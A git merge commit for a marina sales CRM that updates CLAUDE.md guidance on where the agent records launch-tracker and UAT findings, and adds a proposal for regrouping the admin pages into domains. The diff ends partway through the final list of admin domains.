Merge feat/residential-toggle-and-reports-comparison into main
Reports overhaul (residential toggle, sales comparison + filters, financial report, importer, migration scripts, reports polish, marketing 404 gate) + pre-launch codebase/security audit with full remediation (85 findings: 4 CRITICAL / 17 HIGH / 29 MEDIUM / 35 LOW; 84 fixed, L21 false-positive) + custom-report build-blocker fix. Validation: 1103 unit + 458 integration tests green; tsc clean; production build green. E2e smoke deferred to CI (needs the standalone server). Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
This commit is contained in:
29
CLAUDE.md
29
CLAUDE.md
@@ -57,7 +57,8 @@ Reach for these before grinding through tasks manually:
|
|||||||
- `Explore` for any codebase search that would take > 3 queries
|
- `Explore` for any codebase search that would take > 3 queries
|
||||||
- `feature-dev:code-explorer` / `code-architect` / `code-reviewer` for new feature work
|
- `feature-dev:code-explorer` / `code-architect` / `code-reviewer` for new feature work
|
||||||
- **Doctrine**: skills override default behavior except user instructions in this file. If a CLAUDE.md rule conflicts with a skill, this file wins.
|
- **Doctrine**: skills override default behavior except user instructions in this file. If a CLAUDE.md rule conflicts with a skill, this file wins.
|
||||||
- **Manual UAT — single master doc**: all multi-day Playwright + React Grab UAT findings go into `docs/superpowers/audits/alpha-uat-master.md` (the cross-cutting "alpha" audit that spans many sessions). Append to it as findings land in chat — don't create per-day files. Buckets: Quick fixes (<15min), Medium (15min–2h), Features/larger (>2h), Bugs (severity-tagged), Cross-references to the active full-codebase audit. Don't ask for the format each time.
|
- **Pre-launch tracker**: `docs/launch-readiness.md` is the master pre-launch tracker for the beta phase. Append every launch-blocking initiative or sub-task there with status tags (`OPEN | IN PROGRESS | SHIPPED in <hash> | BLOCKED | DEFERRED`). Read it at the start of any non-trivial task.
|
||||||
|
- **Manual UAT — currently active doc**: `docs/superpowers/audits/active-uat.md` is the **live** findings doc. Every UAT finding the user surfaces in chat lands here regardless of which session captures it. Persists across sessions until the user explicitly says to wrap the round and archive — at which point rename to `YYYY-MM-DD-uat.md` and start a fresh `active-uat.md`. Buckets: Quick fixes (<15min), Medium (15min–2h), Features/larger (>2h), Bugs (severity-tagged). Tag every entry with status: `OPEN | IN PROGRESS | SHIPPED in <hash> | QUEUED | BLOCKED`. Don't ask the format each time.
|
||||||
|
|
||||||
## Tech stack (non-obvious choices)
|
## Tech stack (non-obvious choices)
|
||||||
|
|
||||||
@@ -209,10 +210,30 @@ Vitest covers unit + integration with mocked externals (`tests/unit/`, `tests/in
|
|||||||
|
|
||||||
Numbered specs (`01-CONSOLIDATED-SYSTEM-SPEC.md` … `15-DESIGN-TOKENS.md`) in repo root carry the detailed architecture decisions, schema docs, API catalog, and sequence.
|
Numbered specs (`01-CONSOLIDATED-SYSTEM-SPEC.md` … `15-DESIGN-TOKENS.md`) in repo root carry the detailed architecture decisions, schema docs, API catalog, and sequence.
|
||||||
|
|
||||||
Active plans of record under `docs/`:
|
### Beta-phase tracker (read this first)
|
||||||
|
|
||||||
|
We are in pre-launch beta. **`docs/launch-readiness.md` is the canonical
|
||||||
|
home for every outstanding initiative we need to ship before
|
||||||
|
production cutover.** Read it at the start of any non-trivial task to
|
||||||
|
see what's in flight, what's blocked, and what's been deferred. Append
|
||||||
|
new launch-blocking items there (status tags: `OPEN | IN PROGRESS |
|
||||||
|
SHIPPED in <hash> | BLOCKED | DEFERRED`) — do NOT create a new
|
||||||
|
parallel audit doc. Companion files:
|
||||||
|
|
||||||
|
- `docs/launch-readiness.md` — the master pre-launch tracker (5+
|
||||||
|
initiatives: reports overhaul, marketing pipeline cutover, invoicing
|
||||||
|
audit, codebase + security audit, website integration, e2e testing,
|
||||||
|
data migration)
|
||||||
|
- `docs/reports-content-spec.md` — working spec for the reports
|
||||||
|
initiative (per-category KPIs / charts / tables); referenced by
|
||||||
|
`launch-readiness.md` Initiative 1
|
||||||
|
- `docs/superpowers/audits/active-uat.md` — live UAT findings the user
|
||||||
|
surfaces in chat; persists across sessions until explicit wrap
|
||||||
|
- `docs/BACKLOG.md` — long-tail backlog index (post-launch and
|
||||||
|
general)
|
||||||
|
|
||||||
|
### Domain reference docs
|
||||||
|
|
||||||
- `docs/MASTER-PLAN-2026-05-18.md` — current 7-phase post-audit plan
|
|
||||||
- `docs/BACKLOG.md` — single entry point for everything outstanding
|
|
||||||
- `docs/berth-recommender-and-pdf-plan.md` — berths + PDF + send-outs bundle
|
- `docs/berth-recommender-and-pdf-plan.md` — berths + PDF + send-outs bundle
|
||||||
- `docs/eoi-documenso-field-mapping.md` — canonical EoiContext ↔ Documenso/AcroForm mapping
|
- `docs/eoi-documenso-field-mapping.md` — canonical EoiContext ↔ Documenso/AcroForm mapping
|
||||||
- `docs/documenso-integration-audit.md` — full Documenso v1/v2 quirks reference
|
- `docs/documenso-integration-audit.md` — full Documenso v1/v2 quirks reference
|
||||||
|
|||||||
@@ -14,7 +14,16 @@ Documenso phases 2-7 stay back-burnered per user.
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## A. Documenso build (deferred for later)
|
## A. Documenso build (MOSTLY SHIPPED — see note)
|
||||||
|
|
||||||
|
> **Stale-doc fix (2026-06-01):** a feature-completeness sweep confirmed
|
||||||
|
> the core of phases 2–7 has since shipped and is wired — cascading
|
||||||
|
> "your turn" invites (Phase 2), custom doc upload-to-signing (Phase 3,
|
||||||
|
> `custom-document-upload.service.ts` + `/api/v1/interests/[id]/upload-for-signing`),
|
||||||
|
> the field-placement UI (Phase 4, `upload-for-signing-dialog.tsx`), and
|
||||||
|
> Project Director user-linking (Phase 7). The integration is treated as
|
||||||
|
> feature-complete. The phase table below is kept for history; re-verify
|
||||||
|
> the Phase 5/6 polish line-items individually before relying on them.
|
||||||
|
|
||||||
**Source:** [`docs/documenso-build-plan.md`](./documenso-build-plan.md) — full phase plan with locked decisions (Q1–Q10).
|
**Source:** [`docs/documenso-build-plan.md`](./documenso-build-plan.md) — full phase plan with locked decisions (Q1–Q10).
|
||||||
**Tracker delta:** [`docs/admin-ux-backlog.md`](./admin-ux-backlog.md) — what landed in Phase 1.
|
**Tracker delta:** [`docs/admin-ux-backlog.md`](./admin-ux-backlog.md) — what landed in Phase 1.
|
||||||
|
|||||||
415
docs/admin-ia-proposal.md
Normal file
415
docs/admin-ia-proposal.md
Normal file
@@ -0,0 +1,415 @@
|
|||||||
|
# Admin IA — Audit + Proposed Regrouping
|
||||||
|
|
||||||
|
**Status:** Phase 1 (proposal + decisions) — captured 2026-05-22 from B3 #10. Open questions resolved in section 7; final IA reflected in section 8. Phase 2 (execution) is mechanical from here.
|
||||||
|
|
||||||
|
## Resolved decisions (2026-05-22)
|
||||||
|
|
||||||
|
User answered the 5 open questions from section 7:
|
||||||
|
|
||||||
|
1. **Forms + Document Templates** → moved to **Sales workflow** (not "Content"). Both are workflow inputs, not abstract content.
|
||||||
|
2. **Webhooks** → keep as its own thing; **new "Integrations" domain** is the right home (Webhooks + Documenso + Website analytics + AI all belong together as "external system + provider config").
|
||||||
|
3. **AI configuration** → keep a dedicated `/admin/ai` panel that consolidates every AI feature in one place; lives under the new **Integrations** domain.
|
||||||
|
4. **`/admin/reports`** → **DELETE entirely** (confirmed duplicative — the dashboard already renders Pipeline funnel + Berth occupancy + KPI cards via widgets). Redirect to `/[portSlug]/dashboard`.
|
||||||
|
5. **`/admin/settings`** (generic KV editor) → keep visible to all admins under System & observability.
|
||||||
|
|
||||||
|
**Net effect:** 7 domains instead of 6; 3 pages deleted (ocr, invitations, reports) instead of 2. Final IA in section 8.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
**Goal:** today's 41 admin pages are organically grown and discoverability is poor (test-email lives on Branding, an SMTP test on Email, an OCR-settings duplicate exists on both `/admin/ai` and `/admin/ocr`, etc.). Below: page-by-page inventory + a recommended IA in 6 domains.
|
||||||
|
|
||||||
|
**Out of scope here:** the actual file moves, route redirects, and nav updates. That's Phase 2 (~4–6h once the IA below is locked).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Page-by-page inventory (current state, 41 pages)
|
||||||
|
|
||||||
|
Sorted alphabetically. Each row: what the page renders today + its current admin-sections-browser group.
|
||||||
|
|
||||||
|
| Route | What it renders | Current group |
|
||||||
|
| ------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------- |
|
||||||
|
| `/admin` | `<AdminSectionsBrowser>` — landing tile grid grouped into 5 categories | — |
|
||||||
|
| `/admin/ai` | `<RegistryDrivenForm>` (ai master controls + provider credentials) + `<OcrSettingsForm>` + AI-suggestions card | Operations |
|
||||||
|
| `/admin/audit` | `<AuditLogList>` — full mutation log search | Data Quality |
|
||||||
|
| `/admin/backup` | `<BackupAdminPanel>` — backup posture (read-only) | Operations |
|
||||||
|
| `/admin/berths/bulk-add` | `<BulkAddBerthsWizard>` — generate berth rows in bulk | (not in landing browser) |
|
||||||
|
| `/admin/berths/reconcile` | `<ReconcileQueue>` — review berths missing required fields | (not in landing browser) |
|
||||||
|
| `/admin/branding` | `<RegistryDrivenForm sections={['branding']}>` (identity) + email branding form + `<PdfLogoUploader>` + `<EmailPreviewCard>` | Configuration |
|
||||||
|
| `/admin/brochures` | `<BrochuresAdminPanel>` — upload/version port brochures | (not in landing browser) |
|
||||||
|
| `/admin/custom-fields` | `<CustomFieldsManager>` — per-entity custom-field definitions | Content |
|
||||||
|
| `/admin/documenso` | `<RegistryDrivenForm>` (api creds, signers, templates, behavior) + `<DocumensoTestButton>` + `<TemplateSyncButton>` + `<EmbeddedSigningCard>` | Configuration ("EOI signing service") |
|
||||||
|
| `/admin/duplicates` | `<DuplicatesReviewQueue>` — suspected-duplicate clients | Data Quality |
|
||||||
|
| `/admin/email` | `<RegistryDrivenForm>` (from address + smtp) + `<SmtpTestSendCard>` + `<TestTemplateCard>` (new) + `<SalesEmailConfigCard>` + `<EmailRoutingCard>` | Configuration |
|
||||||
|
| `/admin/email-templates` | `<EmailTemplatesAdmin>` — subject-line overrides per transactional template | Content |
|
||||||
|
| `/admin/errors` | error-event list (system errors) | (not in landing browser) |
|
||||||
|
| `/admin/errors/codes` | error-code catalog reference | (not in landing browser) |
|
||||||
|
| `/admin/errors/[requestId]` | single error-event detail | (not in landing browser) |
|
||||||
|
| `/admin/forms` | `<FormTemplateList>` — public inquiry/intake form schemas | Content |
|
||||||
|
| `/admin/import` | CSV import wizard | Data Quality ("Bulk Import") |
|
||||||
|
| `/admin/inquiries` | `<InquiryInbox>` — public-site submissions awaiting triage | Data Quality |
|
||||||
|
| `/admin/invitations` | (empty body — comment says merged into `/admin/users` 2026-05-21) | (not in landing browser) |
|
||||||
|
| `/admin/monitoring` | `<SystemMonitoringDashboard>` — BullMQ queue health | Operations |
|
||||||
|
| `/admin/monitoring/[queueName]` | `<QueueDetailTable>` — single-queue drill-down | (not in landing browser) |
|
||||||
|
| `/admin/ocr` | `<OcrSettingsForm>` — **DUPLICATES the same form on `/admin/ai`** | (not in landing browser) |
|
||||||
|
| `/admin/onboarding` | `<OnboardingChecklist>` — cross-page setup checklist for new ports | Operations |
|
||||||
|
| `/admin/pipeline-rules` | per-trigger berth-rules editor + `<RegistryDrivenForm sections={['pipeline.auto-advance']}>` | Configuration ("Pipeline auto-advance") |
|
||||||
|
| `/admin/ports` | `<PortList>` — manage marinas (super-admin only) | Operations |
|
||||||
|
| `/admin/pulse` | `<RegistryDrivenForm sections={['pulse']}>` — pulse chip tuning | Configuration |
|
||||||
|
| `/admin/qualification-criteria` | `<QualificationCriteriaAdmin>` — lead-qualification rubric | Operations |
|
||||||
|
| `/admin/reminders` | `<RegistryDrivenForm sections={['reminders.defaults','reminders.digest']}>` | Configuration |
|
||||||
|
| `/admin/reports` | `<ReportsDashboard>` — saved analytics + ad-hoc queries | Operations |
|
||||||
|
| `/admin/residential-stages` | `<ResidentialStagesAdmin>` + stage-template registry form | Operations |
|
||||||
|
| `/admin/roles` | `<RoleList>` — role/permission matrix | Access |
|
||||||
|
| `/admin/sends` | `<SendsLog>` — brochure + per-berth PDF send retries | Data Quality |
|
||||||
|
| `/admin/settings` | `<SettingsManager>` — generic system_settings KV editor (escape hatch) | Configuration ("System Settings") |
|
||||||
|
| `/admin/storage` | `<StorageAdminPanel>` — storage backend selector + migration | Operations |
|
||||||
|
| `/admin/tags` | `<TagList>` — color-coded tags per entity | Content |
|
||||||
|
| `/admin/templates` | `<TemplateList>` — PDF + email document templates (merge-field-driven) | Content |
|
||||||
|
| `/admin/templates/[id]/editor` | per-template editor (PDF + email body) | (not in landing browser) |
|
||||||
|
| `/admin/users` | `<UserList>` + `<InvitationsManager>` (tabs, merged 2026-05-21) | Access |
|
||||||
|
| `/admin/vocabularies` | `<VocabulariesManager>` — admin-editable enum lists | Content |
|
||||||
|
| `/admin/webhooks` | `<WebhookForm>` + `<WebhookDeliveryLog>` + `<WebhookSecretDisplay>` | Configuration |
|
||||||
|
| `/admin/website-analytics` | Umami creds form + `<UmamiTestButton>` | Operations |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Issues identified
|
||||||
|
|
||||||
|
### 2.1 Duplicates
|
||||||
|
|
||||||
|
1. **`/admin/ocr` duplicates `/admin/ai`** — same `<OcrSettingsForm>` is mounted on both. The AI page is the source of truth (it also has the master AI switch + provider creds + AI-suggestions config). **Recommendation: delete `/admin/ocr`** + add a redirect.
|
||||||
|
2. **`/admin/invitations` is dead** — the page body is empty (per the comment, merged into `/admin/users` 2026-05-21). **Recommendation: delete the route** + add a redirect to `/admin/users?tab=invitations`.
|
||||||
|
|
||||||
|
### 2.2 Misplaced cards
|
||||||
|
|
||||||
|
1. **`<EmailPreviewCard>` is on Branding but tests email rendering** — overlap with the new per-template tester on `/admin/email`. **Recommendation: KEEP on Branding** (it's a one-click "does the email LOOK right with current logo/colors?" affordance — that's a branding-validation concern, not a delivery test). Add a sibling link "→ Test individual templates" pointing at `/admin/email`.
|
||||||
|
2. **`<SalesEmailConfigCard>` is on `/admin/email`** — correct home, but it's structurally identical to the noreply SMTP card above it (just a second mailbox). **Recommendation: keep but reformat** so both mailboxes are in matching cards stacked, with a shared "Test send" footer per mailbox.
|
||||||
|
3. **`<EmailRoutingCard>` is on `/admin/email`** — actually it's a routing-rule editor (when X event fires, route through Y mailbox). Conceptually closer to a workflow rule than a credentials setting. **Recommendation: keep on Email** for now (the routing IS about email plumbing) but cross-link from Workflows since changing the rule changes behaviour.
|
||||||
|
|
||||||
|
### 2.3 Inconsistent naming
|
||||||
|
|
||||||
|
1. **"Documenso & EOI"** page title implies EOI lives separately — but EOI generation is one of multiple Documenso flows. **Recommendation: rename to "Signing service (Documenso)"**.
|
||||||
|
2. **"Bulk Import"** vs `/admin/import` — fine, but the page should explicitly say "Data import" (matches the page title `<PageHeader title="Data import">`).
|
||||||
|
3. **"Send Log"** vs `/admin/sends` — fine; consider renaming the route slug to `/admin/send-log` for clarity, but that costs cross-references.
|
||||||
|
|
||||||
|
### 2.4 Pages not in the admin-sections-browser tile grid
|
||||||
|
|
||||||
|
A bunch of pages exist as routes but aren't surfaced on `/admin`:
|
||||||
|
|
||||||
|
- `/admin/berths/bulk-add`, `/admin/berths/reconcile` — only reachable from deep links inside the Berths page
|
||||||
|
- `/admin/brochures`
|
||||||
|
- `/admin/email-templates`, `/admin/tags`, `/admin/vocabularies`, `/admin/custom-fields`, `/admin/forms` — actually these ARE in the browser under "Content", verified
|
||||||
|
- `/admin/qualification-criteria`, `/admin/residential-stages` — under Operations
|
||||||
|
- `/admin/errors`, `/admin/errors/codes`, `/admin/errors/[requestId]`
|
||||||
|
- `/admin/ocr` (duplicate, recommended for deletion)
|
||||||
|
- `/admin/invitations` (dead, recommended for deletion)
|
||||||
|
|
||||||
|
**Recommendation:** surface every active page on `/admin` (no hidden surfaces — discoverability matters for admins). Move `/admin/berths/bulk-add` + `/admin/berths/reconcile` to a new "Berths admin" landing card.
|
||||||
|
|
||||||
|
### 2.5 Categories that don't quite fit
|
||||||
|
|
||||||
|
- **"Content"** is doing too much heavy lifting — it lumps tag color picker (visual), vocab enum lists (config), form templates (workflow), and document templates (mail merge). These are all things admins _tune_ but their cognitive shape is different.
|
||||||
|
- **"Data Quality"** mixes inbound queues (Inquiry Inbox) with cleanup utilities (Duplicates, Bulk Import) — those serve different daily-workflows.
|
||||||
|
- **"Operations"** is the catch-all for "anything observability or infra-shaped" but also has things that are pure setup (AI configuration, residential pipeline stages).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Proposed IA — 6 domains, 38 pages
|
||||||
|
|
||||||
|
Two pages deleted (`/admin/ocr`, `/admin/invitations`), one moved out of admin entirely (`/admin/reports` — see below), one new sub-area (`/admin/berths`). Net page count: 41 → 38.
|
||||||
|
|
||||||
|
### Domain 1. **Brand & Communication** (5 pages)
|
||||||
|
|
||||||
|
_Everything about how outbound looks + which channel it ships on._
|
||||||
|
|
||||||
|
| Page | Action | Notes |
|
||||||
|
| ------------------------ | -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
|
| `/admin/branding` | KEEP | Logo, colors, app name, email header/footer HTML, the visual "does it look right?" tester. |
|
||||||
|
| `/admin/email` | KEEP | SMTP creds (noreply + sales), routing, per-template tester, SMTP connectivity probe. |
|
||||||
|
| `/admin/email-templates` | KEEP | Subject-line overrides per transactional template. Stays separate from `/admin/email` because the audience is "copywriter" vs "ops". |
|
||||||
|
| `/admin/documenso` | RENAME → "Signing service" | API creds, signer identities, templates, behaviour. Page title currently says "Documenso & EOI" — drop "& EOI" (EOI is one of many doc types). |
|
||||||
|
| `/admin/webhooks` | KEEP | Outbound webhook subscriptions + delivery log. Sits here because webhooks are an outbound-comms channel, same conceptual bucket as email. |
|
||||||
|
|
||||||
|
### Domain 2. **Sales workflow** (7 pages)
|
||||||
|
|
||||||
|
_How the pipeline behaves end-to-end — triggers, scoring, templates._
|
||||||
|
|
||||||
|
| Page | Action | Notes |
|
||||||
|
| ------------------------------- | ----------------------------- | ---------------------------------------------------------------------------------------------------------------------- |
|
||||||
|
| `/admin/pipeline-rules` | KEEP | Berth-rules engine triggers + auto-advance. |
|
||||||
|
| `/admin/pulse` | KEEP | Deal Pulse chip tuning. |
|
||||||
|
| `/admin/reminders` | KEEP | Default reminder behaviour + digest window. |
|
||||||
|
| `/admin/qualification-criteria` | MOVE FROM "Operations" → here | Lead-qualification rubric — clearly a sales-workflow concern. |
|
||||||
|
| `/admin/residential-stages` | MOVE FROM "Operations" → here | Residential pipeline shape. Same domain as the standard pipeline rules. |
|
||||||
|
| `/admin/forms` | MOVE FROM "Content" → here | Form templates drive lead intake — workflow input, not "content". |
|
||||||
|
| `/admin/templates` | MOVE FROM "Content" → here | Document templates carry merge fields tied to the pipeline (EOI, reservation, contract). These ARE pipeline artefacts. |
|
||||||
|
|
||||||
|
### Domain 3. **Catalog** (4 pages)
|
||||||
|
|
||||||
|
_Tenant-defined data shapes — values that get attached to records._
|
||||||
|
|
||||||
|
| Page | Action | Notes |
|
||||||
|
| ---------------------- | -------------------------- | ---------------------------------------------------------------------------- |
|
||||||
|
| `/admin/vocabularies` | KEEP | Admin-editable enum lists (berth_side_pontoon_options, lead_category, etc.). |
|
||||||
|
| `/admin/tags` | KEEP | Color tags. |
|
||||||
|
| `/admin/custom-fields` | KEEP | Per-entity field definitions. |
|
||||||
|
| `/admin/brochures` | MOVE FROM ungrouped → here | Brochure assets are catalog artefacts (per-port versioned PDFs). |
|
||||||
|
|
||||||
|
### Domain 4. **Identity & access** (3 pages)
|
||||||
|
|
||||||
|
_Who can use the system and what they can do._
|
||||||
|
|
||||||
|
| Page | Action | Notes |
|
||||||
|
| -------------- | ------ | -------------------------------------------- |
|
||||||
|
| `/admin/users` | KEEP | Active users + invitations (already merged). |
|
||||||
|
| `/admin/roles` | KEEP | Role/permission matrix. |
|
||||||
|
| `/admin/ports` | KEEP | Super-admin only; per-port management. |
|
||||||
|
|
||||||
|
### Domain 5. **Inbox & data quality** (6 pages)
|
||||||
|
|
||||||
|
_Stuff that lands in admin queues + tools to clean up data._
|
||||||
|
|
||||||
|
| Page | Action | Notes |
|
||||||
|
| ------------------------- | ----------------------------------------------------------- | ----------------------------------------------------------- |
|
||||||
|
| `/admin/inquiries` | KEEP | Public-site form submissions. |
|
||||||
|
| `/admin/sends` | KEEP | Brochure + per-berth-PDF send retries. |
|
||||||
|
| `/admin/duplicates` | KEEP | Suspected-duplicate review queue. |
|
||||||
|
| `/admin/import` | KEEP | CSV imports. |
|
||||||
|
| `/admin/berths` | NEW INDEX | Landing page that surfaces the two berth-admin tools below. |
|
||||||
|
| `/admin/berths/bulk-add` | MOVE FROM ungrouped → keep route, surface via /admin/berths | Bulk berth row generator. |
|
||||||
|
| `/admin/berths/reconcile` | MOVE FROM ungrouped → keep route, surface via /admin/berths | Berth-pdf reconciliation queue. |
|
||||||
|
|
||||||
|
(Counted as one Berths entry on the landing tile + the two existing routes as sub-pages.)
|
||||||
|
|
||||||
|
### Domain 6. **System & observability** (10 pages)
|
||||||
|
|
||||||
|
_Infra, observability, escape hatches._
|
||||||
|
|
||||||
|
| Page | Action | Notes |
|
||||||
|
| ------------------------------- | ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
|
| `/admin/audit` | KEEP | Mutation audit log. |
|
||||||
|
| `/admin/monitoring` | KEEP | BullMQ queue health. |
|
||||||
|
| `/admin/monitoring/[queueName]` | KEEP | Single-queue detail. |
|
||||||
|
| `/admin/errors` | SURFACE on landing | Error-event list (currently hidden from `/admin` tile grid). |
|
||||||
|
| `/admin/errors/codes` | KEEP as sub-page | Linked from `/admin/errors`. |
|
||||||
|
| `/admin/errors/[requestId]` | KEEP as sub-page | Linked from `/admin/errors`. |
|
||||||
|
| `/admin/backup` | KEEP | Backup posture. |
|
||||||
|
| `/admin/storage` | KEEP | Storage backend selector + migration. |
|
||||||
|
| `/admin/website-analytics` | KEEP | Umami creds. |
|
||||||
|
| `/admin/ai` | KEEP | AI config (master switch, providers, OCR settings, suggestions). |
|
||||||
|
| `/admin/settings` | KEEP | Generic KV editor (escape hatch for advanced flags). Stays in this domain because it's an admin-debug surface, not a normal-day setting. |
|
||||||
|
| `/admin/onboarding` | KEEP, FLOATS | Cross-cutting setup checklist. Stays accessible from `/admin` landing but doesn't belong in any single domain — it links to many. |
|
||||||
|
|
||||||
|
### Out of admin entirely
|
||||||
|
|
||||||
|
| Page | Action | Rationale |
|
||||||
|
| ---------------- | -------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
|
| `/admin/reports` | MOVE OUT → `/[portSlug]/reports` | Reports are an end-user feature, not admin config. Today it lives in admin only because it's permission-gated; should be a top-level nav item with the same permission gate. Defer to a follow-up; for the IA pass, just stop surfacing it on `/admin`. |
|
||||||
|
|
||||||
|
### Deleted
|
||||||
|
|
||||||
|
| Page | Action | Rationale |
|
||||||
|
| -------------------- | ----------------------------- | -------------------------------------------- |
|
||||||
|
| `/admin/ocr` | DELETE + 301 → `/admin/ai` | Duplicate of `/admin/ai`. |
|
||||||
|
| `/admin/invitations` | DELETE + 301 → `/admin/users` | Empty page; functionality merged 2026-05-21. |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Misplaced cards / sub-section moves
|
||||||
|
|
||||||
|
These are smaller-grained moves _within_ the new IA — cards that should change page even though the routes stay put.
|
||||||
|
|
||||||
|
1. **`<EmailPreviewCard>` (currently on `/admin/branding`)** → KEEP on Branding (visual brand check); add a "→ Test individual templates" link pointing at `/admin/email#test-template`.
|
||||||
|
2. **`<EmailRoutingCard>` (currently on `/admin/email`)** → KEEP on Email; cross-link from a "Routing rules" subsection of the new Workflow domain.
|
||||||
|
3. **`<TemplateSyncButton>` (currently on `/admin/documenso`)** → KEEP; consider surfacing duplicate on `/admin/templates` (since "Sync from Documenso" populates template IDs there).
|
||||||
|
4. **`<OnboardingChecklist>`** → consider exposing a slim version as a banner on `/admin` landing for ports that haven't completed setup.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Proposed `/admin` landing tile groups
|
||||||
|
|
||||||
|
The `admin-sections-browser.tsx` array should be rebuilt to match the 6 domains above. Sketch:
|
||||||
|
|
||||||
|
```ts
|
||||||
|
const SECTIONS: AdminSection[] = [
|
||||||
|
{
|
||||||
|
title: 'Brand & Communication',
|
||||||
|
description: 'How outbound looks and which channels it ships on.',
|
||||||
|
items: ['branding', 'email', 'email-templates', 'documenso', 'webhooks'],
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'Sales workflow',
|
||||||
|
description: 'Pipeline behaviour, scoring, document + form templates.',
|
||||||
|
items: [
|
||||||
|
'pipeline-rules',
|
||||||
|
'pulse',
|
||||||
|
'reminders',
|
||||||
|
'qualification-criteria',
|
||||||
|
'residential-stages',
|
||||||
|
'forms',
|
||||||
|
'templates',
|
||||||
|
],
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'Catalog',
|
||||||
|
description: 'Tenant-defined enums, tags, custom fields, and brochures.',
|
||||||
|
items: ['vocabularies', 'tags', 'custom-fields', 'brochures'],
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'Identity & access',
|
||||||
|
description: 'Who can use the system and what they can do.',
|
||||||
|
items: ['users', 'roles', 'ports'],
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'Inbox & data quality',
|
||||||
|
description: 'Admin queues + cleanup tools.',
|
||||||
|
items: ['inquiries', 'sends', 'duplicates', 'import', 'berths'],
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'System & observability',
|
||||||
|
description: 'Infra, observability, escape hatches.',
|
||||||
|
items: [
|
||||||
|
'audit',
|
||||||
|
'monitoring',
|
||||||
|
'errors',
|
||||||
|
'backup',
|
||||||
|
'storage',
|
||||||
|
'website-analytics',
|
||||||
|
'ai',
|
||||||
|
'settings',
|
||||||
|
],
|
||||||
|
},
|
||||||
|
];
|
||||||
|
```
|
||||||
|
|
||||||
|
Onboarding checklist surfaces above the grid (or as a banner on incomplete ports), not as a tile.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Phase 2 execution plan (~4–6h)
|
||||||
|
|
||||||
|
Once the above IA is approved (or amended), the migration is mechanical:
|
||||||
|
|
||||||
|
1. **Update `admin-sections-browser.tsx`** to the 6-domain shape above. (~30 min)
|
||||||
|
2. **Delete `/admin/ocr`** + add `redirect()` to `/admin/ai`. (~10 min)
|
||||||
|
3. **Delete `/admin/invitations`** + add `redirect()` to `/admin/users`. (~10 min)
|
||||||
|
4. **Rename "Documenso & EOI"** → "Signing service" (page title + landing label). (~5 min)
|
||||||
|
5. **Create `/admin/berths/page.tsx`** index that surfaces bulk-add + reconcile. (~30 min)
|
||||||
|
6. **Move `/admin/reports` out of admin** — touches sidebar nav + landing browser + permission docs. Defer to its own task if scope creeps. (~1h)
|
||||||
|
7. **Cross-link cards** per section 4 (EmailPreviewCard → /admin/email link, etc.). (~30 min)
|
||||||
|
8. **Smoke pass** — click every tile, confirm every page loads, every redirect lands. (~30 min)
|
||||||
|
9. **Audit doc update** — mark B3 #10 SHIPPED in `alpha-uat-master.md`. (~10 min)
|
||||||
|
|
||||||
|
Total: ~4 h plus ~1 h for the Reports move if we include it.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Open questions (resolved)
|
||||||
|
|
||||||
|
| # | Question | Decision |
|
||||||
|
| --- | ---------------------------------------- | ------------------------------------------------------------------------------- |
|
||||||
|
| 1 | Forms + Document Templates placement | Moved to **Sales workflow** (not Content) |
|
||||||
|
| 2 | Webhooks placement | **New "Integrations" domain** (webhooks + documenso + website-analytics + ai) |
|
||||||
|
| 3 | AI configuration placement | Keep dedicated `/admin/ai` panel; lives under **Integrations** |
|
||||||
|
| 4 | `/admin/reports` | **DELETE entirely** (duplicates dashboard); redirect to `/[portSlug]/dashboard` |
|
||||||
|
| 5 | `/admin/settings` (KV editor) visibility | Keep visible to all admins under **System & observability** |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. Final IA — 7 domains, 38 pages
|
||||||
|
|
||||||
|
After resolutions. Three pages deleted (`/admin/ocr`, `/admin/invitations`, `/admin/reports`); one new sub-area (`/admin/berths` index); one new domain (Integrations) split out from Brand & Communication.
|
||||||
|
|
||||||
|
### Domain 1. **Brand & Communication** (3 pages)
|
||||||
|
|
||||||
|
_How outbound LOOKS — visual and copy._
|
||||||
|
|
||||||
|
- `/admin/branding` — logo, colors, app name, email shell HTML, EmailPreviewCard (visual check)
|
||||||
|
- `/admin/email` — SMTP creds (noreply + sales), routing, per-template tester, SMTP probe
|
||||||
|
- `/admin/email-templates` — subject-line + copy overrides per transactional template
|
||||||
|
|
||||||
|
### Domain 2. **Sales workflow** (7 pages)
|
||||||
|
|
||||||
|
_How the pipeline BEHAVES — triggers, scoring, templates._
|
||||||
|
|
||||||
|
- `/admin/pipeline-rules` — berth-rules engine + auto-advance
|
||||||
|
- `/admin/pulse` — Deal Pulse chip tuning
|
||||||
|
- `/admin/reminders` — default behaviour + digest
|
||||||
|
- `/admin/qualification-criteria` — lead-scoring rubric
|
||||||
|
- `/admin/residential-stages` — residential pipeline shape
|
||||||
|
- `/admin/forms` — lead intake form templates (moved from Content)
|
||||||
|
- `/admin/templates` — document templates with merge fields (moved from Content)
|
||||||
|
|
||||||
|
### Domain 3. **Catalog** (4 pages)
|
||||||
|
|
||||||
|
_Tenant-defined data shapes that attach to records._
|
||||||
|
|
||||||
|
- `/admin/vocabularies` — admin-editable enum lists
|
||||||
|
- `/admin/tags` — color tags
|
||||||
|
- `/admin/custom-fields` — per-entity field definitions
|
||||||
